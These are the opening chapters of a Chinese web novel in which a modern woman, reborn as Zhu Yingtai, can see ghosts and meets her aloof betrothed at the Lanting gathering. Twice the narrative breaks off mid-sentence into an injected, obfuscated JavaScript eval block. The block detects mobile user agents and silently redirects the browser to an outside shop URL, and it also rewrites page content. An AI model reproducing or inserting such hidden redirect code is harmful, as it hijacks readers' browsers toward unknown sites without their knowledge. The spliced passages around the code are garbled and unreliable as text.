《见鬼英台她非要活下去》 1. 兰亭初遇阴公子 你相信世界上有鬼么? 没穿越之前,或者说没死之前,小满不光不相信,还要嗤之以鼻的。 但是现在她想认错。 重新睁眼之后,除了要接收映入眼帘的青罗纱帐、高髻垂髾,古香古色的新环境冲击,还要面对这个时代许多人,像是小女孩牵着氢气球,身后跟着的鬼气。 她的第一反应是拉高被子盖住头,就当看不见,但奈何耳朵还在。 坐在她床边的发型繁复的美丽女人絮絮叨叨,用啜泣音说着什么吾儿啊十六岁初长成,上虞祝氏唯一的希望,明日就要去书院了云云。 ? 情况有点严重过头了,这比鬼故事还可怕。 她复又露头,拍掉女人腿上的黑气,深吸一口气,抱上去:“母亲不要啊!儿这辈子太累了!不想再和时代对抗了!” 这一口“母亲”本该是小满人生的历史性时刻,因为小满没有过妈妈,也没有过爸爸。但惊恐盖过困惑和动容,她没有任何犹豫就喊出来了,不如说是狗急跳墙的狼狈感。 果然母亲也没让她失望,第二天便把她推上马车。煽情的话也不让多说,只表示少年你还有更重要的事情不必牵挂为父为母,便丢给她一个话很多但是又没什么重点的,丫鬟?叫做阿苓。 两个少女不情不愿,勒紧束胸,换上男装,拆掉发髻,插簪束发,出发去上学。 说来也丢脸。 她的猝死是看互联网男菩萨们看死的,血脉偾张,能理解吧? 前天凌晨在十六楼修改第六版方案,差三分钟到四点时她开始自暴自弃,掏出手机查看私密收藏夹,里面全是男菩萨,大方的菩萨、曼妙的菩萨、可口的菩萨嘿嘿嘿……忽然一阵心口抽痛,听见咣当一声,自己好像摔倒了,视野就黑了。 这就是穿越的全过程了。 “等等,阿苓你刚刚说什么,兰亭集?” 除了她叫祝弥,有点家底,还能见鬼,之外,她对这个时代这个身份一无所知。但,兰亭集三个字像是历史飞镖,还未投出就已经有靶环自动套上了。 “对呀小姐——” “你得叫我公子吧?” “啊对公子,此次兰亭集的筹划者是桓夫人,桓夫人爱才,素有声望,名义上是上巳后邀世家子赏花赏月,实际上是在开学前让同窗之间见个面。正好小姐足不出户一个人也不认识。阿苓觉得很好,名帖也都给您写好啦。” “桓夫人是什么夫人?” “桓、王、庾、谢,江左四大世家的桓夫人呀!都是十七八年前胡人占了洛阳,被迫南渡过江的中原侨族。那时候小姐还没出生呢可阿苓那时候——” “懂了懂了,阿苓停!你肩膀不酸么?” “昂?是有点,不过小姐为什么这么问?” “又去哪乱钻了,上面有小鬼趴着。” “啊啊啊小姐别吓我,快帮我掸掉!” 抬手挥一挥,鬼气就散掉了。说明这道鬼气不长在阿苓身上。 比方说猫有夜视力、蛇有热成像,而祝弥像是戴了一副特别的眼镜,有鬼成像。 这个时代飘荡着好多鬼,没形状的像团雾气,黑的,浊的,有形状的面目模糊,堪堪一个人形状,大的,小的。缠着人,或者附着在器物上。好像植物扎根土里,土走去哪,植物就飘去哪。 还行,阴阳眼嘛,不算吓人。反正是死过一次的人了,算半个鬼家,见见同事们也正常。 正常。她很冷静。 何况经过反复观察,鬼都很老实,能看出有点愁苦,但不会打人不会吃人,因为根本也碰不到,所以她逐渐接受了见鬼这件事,视它们为飘来飘去的水藻。 到了会稽山阴之后——地点是阿苓说的,她买饼回来,肩上就勾着一团鬼气。 吃着饼,还行,祝弥随口问:“那我家呢,有没有和这桓王什么四大家一个档次?” 阿苓摇头晃脑像是背书:“咱们祝家虽人丁稀薄——小姐是六代单传的宝贝——但家世渊远清流,世代经营占星卜算,太老爷官至太史令,老爷文采斐然亦曾在中央任事……”说着,阿苓倏尔脸色一变,“小姐、不,公子成天没事净考阿苓!” 确实,好在阿苓看起来没什么心眼,她也不用谨小慎微,已经这样钓了好多信息了,不住点点头:“原来如此,没想到那两个神神叨叨的老神棍是个大官。” “呸呸呸,小姐要学会尊重老爷。” 吃完了饼懒懒伸个腰,不让考就出主观题:“阿苓你有没有觉得这几天我很怪?” 阿苓左看右看,思索半天,摇摇头:“小姐第一次离家,忧虑不安也是正常的。” “叫公子。”祝弥暗自松口气,又问:“我可会什么技艺?” 阿苓毫不客气答:“四体不勤,五谷不分,六艺不通,目只识丁。” 太好了,这根本就是她。 但也不好。 阿苓前面说了个什么,南渡过江…… 她记得的,兰亭集嘛,“五胡乱华、衣冠南渡”,那是个黑色时代。 汉人被北方胡人赶得都挤在长江中下游偏安一隅,看似赏花观月、洒脱不羁,实则大厦将倾、国运飘摇。换句话说,没招了,全国上下都没招了。 祝弥也有头等切身相关的愁苦大事。 她好像是某凄美故事里的女主角啊?时代、姓氏、籍贯,统统对得上。 故事里,她会在书院喜欢上一个姓梁的穷小子,父母当然是不同意。但是他们会在夜晚私奔,然后被抓回来。一个被打死,一个被强行送上花轿,要嫁给那可恶的门当户对姓马的。最后她宁死不从,跳进坟墓里。 真是生命诚可贵,爱情价更高! 反抗时代的黄金精神! 小满作为旁观者可以毫不吝惜地为主人公送上掌声,但是事情发生到自己头上来,她的价值观不是这样的,而应该是,爱情算个屁,生命排第一。 所以才说不要和时代对抗啊,上辈子当牛做马都猝死了还不够吗?放过她吧,难得魂穿成小姐,父母双全,不用奋斗,以后家产还全都是她的。 不想再死了。 不要姓梁的,抛弃父母不可取。不要姓马的,盲婚哑嫁不可取。祝弥许愿新生新气象,事事顺遂,日后迎娶一个美丽男菩萨。 “小姐小姐,醒醒,”阿苓点点她, “兰亭到了。” 祝弥:“……哦哦。” 拉开车帘,青郁葱葱山脚下,写着“兰亭”的牌坊,不少车马往来,有人出入。 一辆牛车先于她的马车停下。 不是新时代农田里的牛车,而是气定神闲的两头壮硕青牛,拉的车是红漆轮毂,顶是素白帷帐,风一吹,还有红绳络扬起,说不出的高贵低奢。和祝弥风尘仆仆的马车不同,这辆牛车像是从自家前门散步到后门,慢悠悠,也没人敢催。白纱幔透出来的人影绰绰,就要出来。 祝弥都快在车窗里伸成长颈鹿了。 出来的是……帘子掀开,半天却无人下车。奇怪,视线一低,出来的是一只脖颈修长,黑蹼黑嘴的大白鹅。 又等了等,第二只大白鹅跳了出来。 两只大白鹅站在来来往往的人群中,自如地扑了扑翅膀,扇出一块真空地带,好像大明星站在舞台中间,比那两头青牛还要神气。众人对着鹅像是碰见熟人,心甘情愿地让出位置又露出赞叹欣赏的表情。 想看帅哥的祝弥心里落空,气恼地心想:什么啊,这时代还有邀请鹅来赴宴的。 事不过三,她不抱期待了,就当后面那位是鹅夫,照顾明星鹅的。 祝弥打算把脖子收回来,抬帘子的手还未落下去,里面的人终于弯腰出来了。有注意力沉没成本了,不死心的余光便还在前方。 她作为小满的时候,私密收藏夹里的男菩萨,十个里有七个是同一种类型的:她其实不太看镜头中心的身材中段,腰腹,她看脸——喜欢混血儿。她最喜欢的是一个中美混血,说着标准的中国话,让人没由来地觉得亲近,最重要的,五官立体,又不失东方含蓄的风韵。 走下来的人就是这样的,因为鹅在车后,他出来时只看鹅,脸正好对着祝弥的方向。 方便了某人看得清清楚楚,明明确确,一眨不眨,不清不白。 鼻骨高挺,眉目深邃,瞳孔是浅淡的琥珀色。唇红齿白、长睫似羽都散发着浓烈的异域风情,而整体轮廓柔和,浓淡完美地相辅相成。特别是鼻尖一点红痣,好似红梅落雪,妙笔天成。 一身白衣,若披烟雾。站直时,玉树清举,走动时,环佩叮当,笑起来,朗曜垂光。 祝弥想捂胸口。 她整个下车过程中,眼睛没办法离开,无意中模仿人家举手投足,结果一脚没踩稳,直接跪倒了地上。 扑通一声,心几乎也跟着停了。 “哎呀小——郎君,又摔了!” 阿苓一声惊呼。 都没见过世面,也光顾着看,忘了扶自家小姐。 祝弥撑起自己又立马抬眼,好巧不巧和前方那人的目光撞上一瞬。 他在不远处和别人谈笑,听见动静只投过来似有若无的一眼,却让她觉得自己周身也发亮了。 忙低声问身边人:“阿苓,那是谁?” “你竟不知谯郡桓氏?” 身后一声长笑入耳,有人刚从马上下来,抢在阿苓前把她扶了起来,“问的是带鹅的那位吧?那是桓错,桓灵玦也。” 说罢又自顾自摇头叹气:“士族子弟众多,为了人群中脱颖而出、标新立异真真是绞尽了脑汁。养鹅,啧啧、他怎么不养头大象!” 那样惹眼的人也需要增强记忆点吗?祝弥不解但是尴尬,因为馋死鬼转世不会遮掩,被别人看破口味了。 连忙朝来人作揖:“某祝弥,字梦成。” 这一套是她路上观摩路人学来的。所幸此朝人文风气追求率真自由,不受礼教束缚,干巴巴行礼的祝弥反倒还像个老古板。 眼前人同样俊雅不凡,多几分潇洒不羁,听了她的自报家门,顷刻朗声大笑,“祝家?上虞的祝家?那你和那弄鹅的岂不还有姻亲关系?” 祝家对外宣称是双生龙凤子,十六年至今都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064789|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣料两套,吃食两套,书画用具两套,其实从始至终,高墙大院里都只有一人。 所以祝弥这个身份,是她原身名义上的哥哥。 姻亲?也就是说这帅哥是她的……………………未、婚、夫。 “家里小姐确实和桓家大郎君有婚约……郎君?” 有人已经靠在阿苓身上快站不住了,脸好热! 父母之命媒妁之言,好好听父亲母亲的话总归吃不了太亏叛逆会让老人家伤心。 没料到文才这么帅啊……祝弥思绪过载,为了掩盖尴尬状态,强笑: “那他不应该姓马吗?哈哈哈。” 按理说,是个现代人都知道这是一句玩笑话。 此时,牛车、马车一前一后,前人还在入口不远处拜帖,后人一下车就摔跤博取注意力,加之未刻意压低谈话声音,有耳朵的人都不会听不见。 可祝弥看得分明,那桓错听见了她的笑话回头,笑容不敛,只是目光骤定,冷冷地瞥了她一眼。 这让祝弥不由得挡了挡视线,不敢笑了:这么凶?说……说错话了? 身边的爽朗公子也看见了那变脸,低声讥笑一句:“哼,阴晴公子,名不虚传。”便给祝弥手里塞了个名帖,离去和他人攀谈。 祝弥看字,再看阿苓。 阿苓低头连连摇头。 阿苓虽然数得出什么桓王庾谢,但是非要问士族内部的关系,庾是哪个庾,桓是什么桓,就只能装哑巴了。 受邀赴宴的书院同窗,有三十多位,但多数不是单独来,伴着群兄族弟,相互引荐拜帖。门口不是正式见面的场合,所有人都在慢慢往里走。 祝弥一路走也不忘正事,旁听或张嘴,确认了现场没有姓梁的。 那她快要爱上古代了。 行至流水亭台处,亲眼见到传说中的曲水流觞,一股古朴的水寒凉意从路边矮草浸袭入脚,窜至头顶,心旷神怡。但她还有一点疑惑,低头问阿苓:“为什么说是桓夫人的名义,在入口处接待人的都是姓王的?” 这个阿苓知道:“桓夫人出自王氏呀。桓大人西归后,老夫人就回本家待着了,所以这次兰亭集名头是桓夫人,其实是琅琊王氏筹办的。” 祝弥点点头,难怪刚刚那文才、不,桓错,也在等仆从递名帖。 被小童引导着换了木屐,众人围着蜿蜒的小水流,坐在光洁的石面上,一坐下又有仆从放下低矮的案几,摆上几道吃食盘子。 所见之物,哪怕一草一木,无不精心素雅,仆从安静有礼,妥帖到全程弓腰只露半张脸。看不见的竹林深处还有清幽宁静的奏乐之声。 祝弥吞吞口水:奢靡。 又不动声色抬眼去看桓错。他坐在主座右边第一个,和旁人把酒浅谈淡笑。那笑起来的样子…… 祝弥吞吞口水:口口。 很快主人出现了。 几个衣袖翩翩俊美的公子哥迎着一位五六十岁的笑吟吟老太太缓缓而来。 老太太精气神很足,步伐稳健。 祝弥见那群王公子中有人交代仆从,有人寻友交谈,有人直接入坐。她只记得其中最端庄温润稳重的叫做王洵乐,王家新一代的大郎君,也真是举止翩跹,风仪弘雅,朗朗如日月之入怀。 他扶着桓夫人开始沿着曲水挨个引荐客人。到了她这里,浅浅的笑脸荡得很开,朝前扬声:“灵玦——快过来,你内兄终于出现了。” 看来是人人皆知的姻亲关系。 人来后,祝弥低头作揖,不敢直视。 但是对方腰是一点没弯,嘴角有礼貌地微微一钩,眼里是毫无波澜:“灵玦见过梦成。” 王洵乐对着那张一视同仁的臭脸继续笑:“今日赴会的是阴公子罢。” 祝弥:“……” 阴晴指的是好脸坏脸吗? 会见完,王洵乐和桓夫人去下一个客人,桓错也转身要走。 祝弥犹豫一秒,开口:“那个,灵玦兄……” 对方回头,冷脸对上来,祝弥话又断了,“呃……” “何事?” “……离那位公子远点。” 刚刚其中一位面无血色的王公子,一入场就抛下老夫人坐到了桓错的身边。二人亲昵得可以说是勾肩搭背。那时候桓错在对着他笑,灿烂得算是晴公子。 但是祝弥实在不会措辞,总不能说,不听神棍言你将有血光之灾,吧? 果不其然对方的脸上更黑了,袖子一摆,直接走了。 祝弥:“……” 她才不是真的很想和他搭话!只是觉得他的白衣服沾上了点什么会不好看罢了。切! 和三十来位宾客见面了一圈之后,桓夫人坐回主座,说了点开场白,便开始玩助酒的雅兴——九曲流觞。仆人在上游放荷叶托盘子,里面是酒。荷叶在谁的面前打转不前流,谁就要即兴表演才艺,表演不出来的,罚酒三觥。 祝弥刚向旁边的兄台请教了规则,还没来得及欣赏九曲的山水布局,花花草草和戏水的大白鹅,荷叶带着酒觞就在她面前停了下来了。 头筹啊…… 2. 兰亭初遇阴公子 她倒不是怕才艺展示或喝酒,只是过度思虑人士容易疑惧神经脆弱的老毛病了,生前给领导汇报都得提前紧张两天。 搞不好她的猝死有50%的直接原因是为了个破项目结算导致的。 正想着,王洵乐已经和在座各位介绍了她。 祝弥双手扶到额头,弯腰谢过,“梦成拙笔薄技,为诸卿献画一幅。” 上辈子她大学时公共课的学分都用在了美术课上,因为她知道的第一个比奶茶店还要赚钱的兼职就是美院的画室助理。 下人很快摆上书案画具。祝弥抓起最大的一只毛笔,指着不远处的那两只大白鹅:“就画鹅吧。” 众人哂笑等候。 水墨一蘸,粗狂提笔几下,扫出的墨色是竹林矮丛的背景,留笔空白是两只白鹅,一只引颈扑腾,一只垂头觅食。换细笔蘸浓墨,一笔画鹅嘴,两笔画鹅掌。 一气呵成,栩栩如生,满座叫好声中两个小字落款:梦成。 有些露馅儿般的歪歪扭扭。 王洵乐兴致高,拍手走近,举着画纸走到桓夫人面前。桓夫人欣赏完给出了极高的评价,说:“留白的画法倒像是刻章分阴阳,以无画有,又新又妙。” 不知这几个字有什么其余含义,众人忽然齐齐一阵大笑,看向对面坐得紧密的三个人,两个是桓氏,一个是主人家的病弱王公子。那边也在笑,除了中间的桓错。 祝弥不解,但是他确实变黑脸了。 “梦成可能是在上虞潜心修研,不闻世家风评罢了,”王洵乐过来还画,笑着给她解释: “灵玦养鹅爱鹅,素有‘鹅山公子’的美称,又因行事任诞乖张,喜怒无常不留人面,人送恶名‘阴晴公子’。梦成今日妙手连点他两局。有缘啊有缘啊。” 祝弥汗颜,偷看那边:“他没事吗?看起来要气死了。” 会不会像撞衫,他的标志物被抢了? “不理他!” 王洵乐大手一挥,走了。 流觞继续。 又在祝弥面前停下。 祝弥:“……” 要精神衰弱了。 强装笑容站起来,说不敢献丑,要喝酒。 下一次流觞又还是停在她面前。 喝。 又停。 喝! 又停。 祝弥打着醉酒的泡泡:“……” 众人都笑了。 “哪位神仙今日放过梦成罢,可怜已经成酒糟了。”王洵乐笑着给醉眼惺忪的祝弥换了座位,坐到主座左边,流觞的第一位。 流觞终于能延续到下一人,而祝弥已经醉趴案几,喃喃呓语了。 此次集会持续到入夜月升。适时,一弯月亮高悬,春凉料峭,有人还在林间涧边石头上卧睡。 不知睡了多久,祝弥被人摇醒迷蒙睁眼。 “梦成,又到你了,起来投个壶吧,不罚你喝酒了。” 视野里,一只手指向了曲水小山中间的几个长颈壶,里面有一些箭矢。 “噢。” 祝弥呆呆地应着。 用什么投? 噢。 祝弥摘下束发的发簪,比到眼前,眯眼瞄准,轻轻一抛,清脆咣当一声,进了! 然后醉酒之人带着满意的笑又倒下了,一头柔顺飘散的长发像是水波和海藻。 一投即中,却没有喝彩声,满座反常地寂然,玉簪在壶中咣当咣当回转。 阿苓连忙从下座上前,挡住自家公子,慌张致歉,把人迎入后方厢房。 对着离席的背影,席间有人咳嗽一声,干巴巴道:“梦成非常人之姿也。” 旁人疑惑:“我也喝多了吗,还是天色渐晚的缘故?我觉得那叫‘有美人兮,在水一方’。” 有人后知后觉:“放浪形骸之最,酒后无心之举,今日当属梦成兄啊。” 王洵乐沉默至此,忽然赞叹:“斜卧石案,敛眸微盼,酲中投簪,逸发飘仙,不胜梨香,妙世无双。画妙,人妙,春酒妙。” 众人皆叹妙哉。 仆人拾回玉簪,交还阿苓。 阿苓替祝弥整理仪容,趁着没人,猛拍她的脸,“哎呀郎君!快醒醒,太丢人啦!” 阿苓只深感她和小姐两个乡野土夫进城,大场面怯场、不会投壶、披头散发、醉态频出。 醉鬼眯眼挥挥手,喃喃梦呓:“我不是摘了吗?别吵我了……” “啪——” 一碗凉水直直冲脸。 她醒了。 愣神一瞬,捂脸,蹲下。 再回入座时,人已经双目有神,神清气爽,还有点湿漉漉的。 王洵乐笑问:“我家的醒酒汤可还有用?” 祝弥笑笑不回,心说:呵呵,不如阿苓一碗冷水冲击波。 旁人眼神不太对,盯着衣长不及地,着木屐的祝弥脚下:“梦成的脚好白。” 有人跟着注意:“好巧。” 有人问:“和洵乐的‘雪踏素足’比,如何?” 祝弥连忙坐好遮住脚,不解,问那人:“这又是什么?” 王洵乐在一旁淡笑不语。 那人回:“当世有‘二美孝’,一曰‘鹅走山梅’,灵玦是也;二曰‘雪踏素足’,你身旁的洵乐是也。” 那人很热心,凑上前来和祝弥细说。 祝弥听了大概:母亲去世时,桓错恸容过度,恍惚随着母亲养的鹅走出院外。时值晚春时分梅花盛开,他一身素衣,随着白鹅走在山间梅林花海中,引得男女老少被他的哀伤感染,不自觉一路随行。 另一位则是父亲亡于一场火灾,王洵乐率马奔赴,抢下父亲未被烧尽的一点尸身,皑皑白雪中捧着父亲归家,鞋子是被烧还是走丢无从可知,只见他素着脚在雪里留下一串深深的脚印,山阴城中无人不感怀动容。 二人孝心相当,年纪相当,家世相当,一个是“鹅山公子”,一个是“踏雪公子”,合称“江左二美孝”。 祝弥点头又摇头,看着自己的脚,无语,心里只说:这也要拿来比,是共情障碍吗? 不知不觉中灯火升起,天色已经全黑,已到宴会结束之际。桓夫人欣赏完今日诗词画作,举杯敬在场,众人跟着举杯,一饮而尽。 祝弥不敢再喝,学着旁人文绉绉地以袖挡面姿势,喝的是茶。 扬起的头为天空中的弯弯月亮停留片刻。 “梦成是上虞人,在山阴可有宅邸?”旁边的人问。 祝弥摇头。 “今夜可有留宿之处?要不要宿在我家?” 祝弥诧异看过去:“洵乐,你人真好。” 她可没想到这么快就能交朋友。 但趁对方没张嘴之前她又说:“家父已安排妥当,几个老仆也在城南的驿舍等候多时了,人多不敢叨扰府上。” “如此也好。” ——“佑和!” 一声失声惊呼打破宁静的氛围,急急入耳。祝弥和王乐洵一齐循声看去。 只见曲水对面,发出惊呼的是半个血人的桓错。血液成喷射状布满他的袖子和前襟,脸颊上亦有血珠点点飞溅,白衣白玉似的人被鲜血爬满,触目惊心。 “佑和!” 而他神情紧张,怀里倒着个无力似纸片的人,正是吐了他一身血,被声声呼喊却翻着白眼抽搐的那个王家公子。 桓老夫人脸色大变,跌撞至前,斥声周围道:“可是散发喝冷酒了?” 仆从皆下跪:“无有,佑和公子的酒都是单独温过的。” 立刻有人去唤了医师。 王洵乐也近前抚上病人额头,摇头:“发冷,不是服散症状。” 留在原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17064790|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地的祝弥悄声问旁人:“王公子服散可是五行散?” 她记得,这朝代的贵族爱乱吃东西,追求飘飘欲仙的体验。 “对。”那人怔怔回答,脸色倏尔又怪异,“什么王公子?那是桓幼和。桓灵玦的族兄。” “啊?他不是王家人吗?” “不是啊。” 身旁人缓缓道来:“十八年前五胡之乱,城破之际,桓老太爷和桓夫人的子女全都身死守节,独留去泰山拜庙的桓夫人和桓佑和二人。当时洛阳的噩耗和胡人的马蹄声一齐传来,一妇一孙一骑千里,从泰山至建康,突破了数个流寇根据。追上南渡的其余族人后,祖孙二人再也无法分开了。是以桓佑和一直养在王家。” 那人摇摇头又点评:“想来也真是玄妙,桓夫人为的是求从小多病的桓佑和安康,东岳帝君还真的就只保佑了他们。” 话音未落,刚强的桓老夫人像折断的枯枝,扶着胸口直挺挺地倒了。 “祖母——” “姑母!” 有人痛呼,有人忙去搀扶。 混乱之中,突然,桓错定定地朝祝弥看过来,沉声:“祝梦成……” 吓得祝弥手抖一下:坏了,下午的时候还是多嘴了,美色误人啊。 那凶巴巴的人察觉失态,语气收笼尽力平稳,补充:“你……可有何办法?” “这话说的,梦成家里是卜天官又不是医师——” “谢过洵乐。”祝弥颔首行礼,打断了替她说话的王洵乐,“梦成确实会一点观相之术。” 她几步蹲到桓错面前,仔细观察起气息微弱的桓幼和来。 “佑和公子可是有什么耿耿于怀的事情?加之今日饮酒过度,形体虚薄,一缕执念突破肺腑,逃散了。” 这一口玄幻用语是祝弥信口胡诌的,反正意思差不多。 天色黑了之后,鬼魂好像也更黑了,有蠢蠢欲动的势头,这难道叫阴气横行?祝弥第一眼见到桓幼和就看出他形容槁悴,忧思笃重,身边跟着一团浓重的黑气。酒醒后再看一眼,他身边的黑气不见了,好像目的实现了,跑了。而桓幼和,好像少了点什么。 被拿走了什么。 没想到祝弥这一开口,姓王的全都低下了头不言语。 兰亭宴席就此匆匆结束。 回驿舍之后下人们料理完祝弥很快就歇息了,独留雅间的祝弥还亮着灯,躺在床上,睁眼看天花板。 大概是兰亭上睡饱了,又或者回来时撞见驿舍里还真的住了一个姓梁的书生。对方热情搭话,而她很冷漠,两句便匆匆回房。 翻了几个身,忽然一阵凌厉的风声划过,灯影摇晃一下,灭了。 她神思飘乱还未归位,没多在意,只当窗漏夜风,续灯半起身时倏尔一僵,动作定住。 又一声凌厉的“咻”声从耳侧擦过,这回真真切切听见了有东西钉在木墙上的声音。 “呜——” 祝弥咬着嘴唇再度躺下,被子盖住身体。等到眼睛适应了黑暗之后,一个影子显现在门口屏风上。 影子传来一声冷笑。 祝弥缩到角落,声音没发抖,“足下有何事……” “你究竟是什么人?” 影子的声音很低。 她回:“钱财在你左边的箱子里。” “桓佑和的事可是你的手笔?” “……当然不是,他恢复了吗?” 可能是祝弥语气或回答太轻描淡写惹恼了对方,屏风上影子放大又消失,一阵衣物摩擦,步风带着寒气逼至脖颈,利刃映出一道明亮的月色,祝弥借此看见一缕长发飘过,然后落在她面庞,逼得她眨眼几下。 两股呼吸瞬息拉近,祝弥下颌架着刀,完全不敢动,仰头,张唇动动,求救似的:“……桓错,” “别杀我,我没有恶意。” 3. 兰亭初遇阴公子 早知道漂亮的男人是带刺的玫瑰,那她说什么也不会靠近的,但现在太晚了。 被子一侧被男人的重量压着,抵墙的肩膀传来夜深的寒气,脖子这个支点被一把刀把握着。 “怎么证明?”上方的人不再压低声音,显露出原本散淡的音色,但冷酷哼笑一声,“死人才没有恶意。” 祝弥动弹不得,“是不是满足了他所求之事也没有恢复正常?” 桓错没说话,但是祝弥知道刃尖又压紧了一分,连呼吸都得紧缩着克制,继续说:“你信不信,我能见鬼魂。” “你家桓幼和,是丢了一个魂魄。” 好像人体像个瓶罐,盖子被打开,祝弥低头看一眼,鬼成像中,原本应该原装出场满满当当的内容物,水位线矮了。就像祝弥这个罐子,里面全是满满的小满,一点祝弥的原内容物都没有。 于是,她自作主张把那个称为魂魄。本来还很纠结“灵魂”还是“魂魄”,刀尖一架上来,她瞬间看清自己的倾向——“魂魄”。 其实她不是一个多话的人,也正因为话少,一旦需要开口说话时,发现自己已经快要生疏于这项技能了。 但此刻有锋利闪光的东西逼她激发潜力,口齿之清晰,情感之真挚,前所未有:“不是我害的桓幼和,我和他素未相识,在他倒下之前还以为他姓王呢。我也不是预知,没办法预防,就像水沸腾了会能想得到水泡马上冲开壶盖,像是联想。我不知我为什么能看见,不知魂魄具体是什么,只是飘散着不同的东西重重叠叠,摸不见也看不真切。再说了,我刚刚醉了,天也黑,还是凑近了才看出来他少了什么东西。仅此而已,绝无假话,真是我做的还提醒你干什么,我活腻了吗!” 说真话的表现还有什么?让人信服的要素又是什么?情急之下,她落下几颗眼泪,从眼角滑到太阳穴,浸湿鬓角。 身上人冷笑一声:“怕死?” 气息和刀好似又逼近了一分。 那人身上的冷萃木香扑鼻,祝弥却再也生不出旖旎的非分之情,闭上眼睛,听天由命。 冷冷的声音再次传来:“那你为何说我姓马?” 紧攥着被子的手,颤颤巍巍抬起来,指了指他腰间,声音也发抖:“上面……也有鬼。” 俯身的动作,垂下的玉佩带着温润的月光一晃一晃。 桓错:“……” 答案指向玉佩,不速之客留下一句“骗我我会杀了你”就匆匆走了,就像他来时悄无声息一样。 祝弥一夜没睡,墙上留下了两个丝毫不起眼的钉孔。 阿苓醒后弄来了早餐。 吃着早餐,她说:“阿苓,你肩膀上有鬼。” “啊啊啊啊,小姐又吓我。” 昨天阿苓对鬼的反应很有趣,当时祝弥笑得很开心,现在想试着逗自己笑,但一丝笑意也挤不出。 还是小满的时候她是一个人,孤独是不可避免的。一个人吃饭,打工,庆祝,看病,过节,其实都还好,一如既往的活着本能,孤独反而不是那么具象又穿透的事情。 她切身抓到孤独这种情绪,是某个暑假。她在一家电商仓库上夜班,站着拣货,晚上八点到早上四点。 有一天天气很好,而且腰不太酸,还刚发了工资。下班的路上她无意抬头,漫天灿烂的星空骤然在她眼前展开。忍不住忘神,好像一整片天空只属于她。 第一个念头是活着真美好。 转头想和人分享……却发现自己正对着空气傻笑。 无人在她身边。 或许因为凌晨四点,或许有余才凸显不足,或许或许她只适合雨天的伞下,湿漉漉地自我裹紧,舒展的想法应该是奢念,因为贪心从此让她意识到自己是一个孤独的可怜人。 孤独终于像个老朋友飘然而至、姗姗来迟。 现在她是祝弥,有余和可舒展的东西更多。按照她的理论,祝弥之比于小满是更孤独的。 “小姐,别太难过。” 絮絮叨叨的阿苓忽然转口,冷不丁地说。 “啊?”祝弥吓了一跳,险些被粥呛到。 “您不是在难过吗?” “……我该难过什么?” “阿苓不能陪您读书了啊。” “嗯?那你去哪?我们不是拉了勾谁也不离开谁吗?” 那确实很值得难过了,不过,阿苓刚刚在说什么来着? 阿苓叹了一口气:“忍冬书院修葺三年,今年才重新开院。新上任的王山长很是严厉,加上新入学的学生人数翻倍,说读书也是清修,书童伴读的污秽风气该遏止了。入学须知上说了不管什么世家子,司马家的来了也不得带书童伴读。这么狂放的话,也就只有王家才敢说出来了。” “怎么会这样?!”祝弥筷子拍到桌子上。 阿苓也跟着豪气拍碗:“琅琊王氏,家风之严,名不虚传!” “我得自己洗衣做饭吗?!”祝弥比较关心切身琐碎之事。 阿苓笑了:“书院里有专门的杂事仆役。只是一切写作相关之事要您自己来,研磨、洗笔、倒水、摇扇、整理书册……阿苓也从来不浣衣下厨呀。” 忍冬书院在山阴西北方向的钱唐县,山林湖间,环境优美。忍冬是新上任的山长改的名字,连制服纹样都变成了忍冬草形状的卷草纹,印在宽袍的袖口和领口,还印在束发用的缨带上。 离出发还有一点时间,祝弥在试制服,交领襦裙,白青色。阿苓又拿来一件透明纱衣。 祝弥穿好抬手近看,这件纱衣上布满了立体浮雕的卷草纹暗纹,看来也是校服套装之一。她问:“这件是最贵的吧?” 阿苓在背后整理衣领,答:“是。这是士族生穿的。” “那不是士族生呢?” “就不必穿这件纱衣。” “有钱也不让穿?” “有钱也不让穿。”阿苓整理完毕,最后在祝弥头上插上了她常戴的玉簪。 祝弥低头看自己,又对着镜子转了半圈。只怪古代镜子太小,她始终觉得祝弥面容不够清晰。 穿好校服这种自理程度,她有吗?初来乍到,她不敢说有,趁着阿苓还在,制服又穿脱两遍。 山阴去到钱唐凤凰山有小半日的车程。 到了山脚,书院楼门牌坊前,祝弥和阿苓一起抬头看“忍冬书院”遒劲有力的四个字。 阿苓说:“王山长写的。” 祝弥点点头:“书法世家嘛,王家几个小的写字也很不错。” 阿苓笑:“郎君这口气像是沧桑历尽似的,你的字像四岁童稚。” 确实,那天兰亭集,写着“祝梦成”三个字的名帖都是阿苓代劳的。 一下轿便被门口候着的小童领进院内,拾级而上,穿过山水竹林,小亭湖边还有两只惬意大白鹅在游水,再向右走,叫做东斋。 祝弥注意到新入学的学生在这院落里,有人走右,有人走左,便问前面的小童。 小童说:“西边便是西斋,也是学舍。学费不同,东斋是上房,两人一间,西斋是通铺,四人不等一间。” 阿苓悄悄补充:“原本东斋是一学生一间,还带个书童,现在不让啦。” 祝弥点点头。 东斋入口处有个山羊胡子的东舍长先生坐着,见人来了便翻开名册。 上面是宿舍分配名录,祝弥看见自己的名字旁边是空的,不由得眼睛一亮,惊喜道:“我单独一间吗?” 先生吹着胡子,哼一声:“非也,西斋多的是人想要进来。” 先生摇着塵尾扇,胡子又飞一下,好神气的样子,忽然眼皮一抬,塵尾朝前一指,“喏,人来也。” ——“先生。” 身后传来男子的声音,祝弥和阿苓回头。

